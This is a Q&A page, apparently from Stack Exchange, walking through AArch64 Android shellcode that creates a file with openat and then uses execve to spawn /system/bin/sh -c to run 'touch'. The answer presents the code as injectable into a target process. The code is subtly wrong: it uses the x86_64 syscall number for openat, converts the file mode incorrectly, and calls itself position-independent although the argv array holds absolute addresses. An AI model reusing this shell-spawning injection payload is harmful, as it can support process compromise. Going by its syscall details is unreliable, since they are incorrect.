ARM64汇编:Android平台Shellcode开发及execve、open_at调用问询
Hey there! Since you already have x86 assembly experience, diving into AArch64 shellcode for Android should click once you wrap your head around the syscall conventions. Let's break this down step by step to meet your requirements: first using openat with O_CREAT | O_EXCL to create a file, then calling execve to spawn a shell command that creates your target file.
Key AArch64 Android Syscall Basics
First, a quick recap of how syscalls work on AArch64 Android:
- Syscall number goes in
x8 - Arguments are passed in
x0→x5(in order) - Trigger the syscall with
svc #0 - Return value is stored in
x0(negative values indicate errors)
Step 1: openat Syscall Implementation
You want to create a file in /data/local/tmp/ using O_CREAT | O_EXCL. Here's how to structure this with position-independent code (using adr for relative addressing, critical for injectable shellcode):
; Create /data/local/tmp/another_file with O_CREAT | O_EXCL mov x8, #257 ; Syscall number for openat (verify with your Android version if needed) mov x0, #-100 ; AT_FDCWD (0xffffff9c) - uses current working dir, but we'll specify full path adr x1, open_filename ; Pointer to our target filename (relative to PC) mov x2, #0xc0 ; O_CREAT (0o100 = 64) | O_EXCL (0o200 = 128) → 192 = 0xc0 mov x3, #0x1a8 ; File mode: rw-r--r-- (0o644 = 420 decimal) svc #0 ; Invoke syscall ; x0 now holds the new file descriptor (or error code if negative)
Then define the filename string right after the code (since we're using adr, it'll be reachable via relative offset):
open_filename: .asciz "/data/local/tmp/another_file"
Step 2: execve for /system/bin/sh -c
Next, we'll call execve to run a shell command that creates /data/local/tmp/AAABBBCCC. We'll pass the shell path, arguments array, and null environment:
; Prepare execve to run /system/bin/sh -c "touch /data/local/tmp/AAABBBCCC" adr x0, shell_path ; Path to the Android shell adr x1, argv_array ; Pointer to our argument array mov x2, #0 ; Null environment pointer mov x8, #221 ; Syscall number for execve svc #0 ; Invoke syscall ; Define our strings and argument array shell_path: .asciz "/system/bin/sh" argv_array: .quad shell_path ; First arg: path to shell .quad c_flag ; Second arg: "-c" .quad create_cmd ; Third arg: the command to run .quad 0 ; Null terminator for argv c_flag: .asciz "-c" create_cmd: .asciz "touch /data/local/tmp/AAABBBCCC"
Important Notes
- Position Independence: Using
adrinstead of absolute loads ensures your shellcode works regardless of where it's injected into the target process. - Syscall Numbers: Double-check syscall numbers for your Android version if something fails. You can pull them from
/usr/include/asm/unistd.hon your device viaadb shell. - Null Bytes: Since you mentioned not needing to avoid null bytes, using
.asciz(which appends a null terminator) is fine—no need for string encoding tricks. - Testing: Compile this with the AArch64 Android toolchain (e.g.,
aarch64-linux-android-as), extract the machine code, and test injection into a target process on your device.
内容的提问来源于stack exchange,提问作者Topper Harley

